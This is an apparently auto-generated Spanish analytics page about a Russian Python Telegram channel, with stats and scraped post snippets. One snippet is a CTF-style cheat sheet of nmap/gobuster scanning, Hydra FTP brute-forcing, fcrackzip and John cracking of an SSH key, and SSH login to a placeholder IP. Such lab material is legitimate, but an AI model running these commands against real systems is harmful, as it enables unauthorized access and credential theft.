[PYTHON:TODAY]
Python скрипты, нейросети, боты, автоматизация. Всё бесплатно! Приват: https://boosty.to/pythontoday YouTube: https://clck.ru/3LfJhM Канал админа: @akagodlike Чат: @python2day_chat Сотрудничество: @web_runner Канал в РКН: https://clck.ru/3GBFVm
Mostrar más📈 Análisis del canal de Telegram [PYTHON:TODAY]
El canal [PYTHON:TODAY] (@python2day) en el segmento lingüístico de Ruso es un actor destacado. Actualmente la comunidad reúne a 64 114 suscriptores, ocupando la posición 2 050 en la categoría Tecnologías y Aplicaciones y el puesto 9 442 en la región Rusia.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 64 114 suscriptores.
Según los últimos datos del 30 junio, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de -58, y en las últimas 24 horas de -13, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 16.00%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 7.76% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 10 263 visualizaciones. En el primer día suele acumular 4 979 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 60.
- Intereses temáticos: El contenido se centra en temas clave como github, soft, install, pip, docker.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“Python скрипты, нейросети, боты, автоматизация. Всё бесплатно!
Приват: https://boosty.to/pythontoday
YouTube: https://clck.ru/3LfJhM
Канал админа: @akagodlike
Чат: @python2day_chat
Сотрудничество: @web_runner
Канал в РКН: https://clck.ru/3GBFVm”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 01 julio, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
$ pip install image-shufflerGitHub:
$ git clone https://github.com/gabrielstork/image-shuffler.git $ cd image-shuffler
$ pip install -r requirements.txt
Использование:
from image_shuffler import Shuffler
image = Shuffler('lenna.png')
image.shuffle(matrix=(4, 4))
image.show()
image.save()
⚙️ GitHub/Инструкция
#python #soft #github$ rustscan -a ip_address⌨️ Nmap
$ nmap -sC -sV ip_address $ nmap -sC -sV -p21,80,1337 ip_address⌨️ Gobuster
$ gobuster dir -w /usr/share/dirb/wordlists/common.txt -t 50 -x php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -u ip_address⌨️ fcrackzip
fcrackzip -D -p rockyou.txt -u backup.zip -v⌨️ Hydra
$ hydra -l ftpuser -P rockyou.txt ftp://ip_address -V⌨️ Wget
wget -r ftp://username:password@ipaddress/⌨️ John
$ ssh2john id_rsa > id_rsa.hash $ john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt⌨️ id_rsa SSH connect
$ ssh -i id_rsa user@ip_address -p 1337⌨️ Pyhon скрипт из видео: https://github.com/MustafaTanguner/Mnemonic
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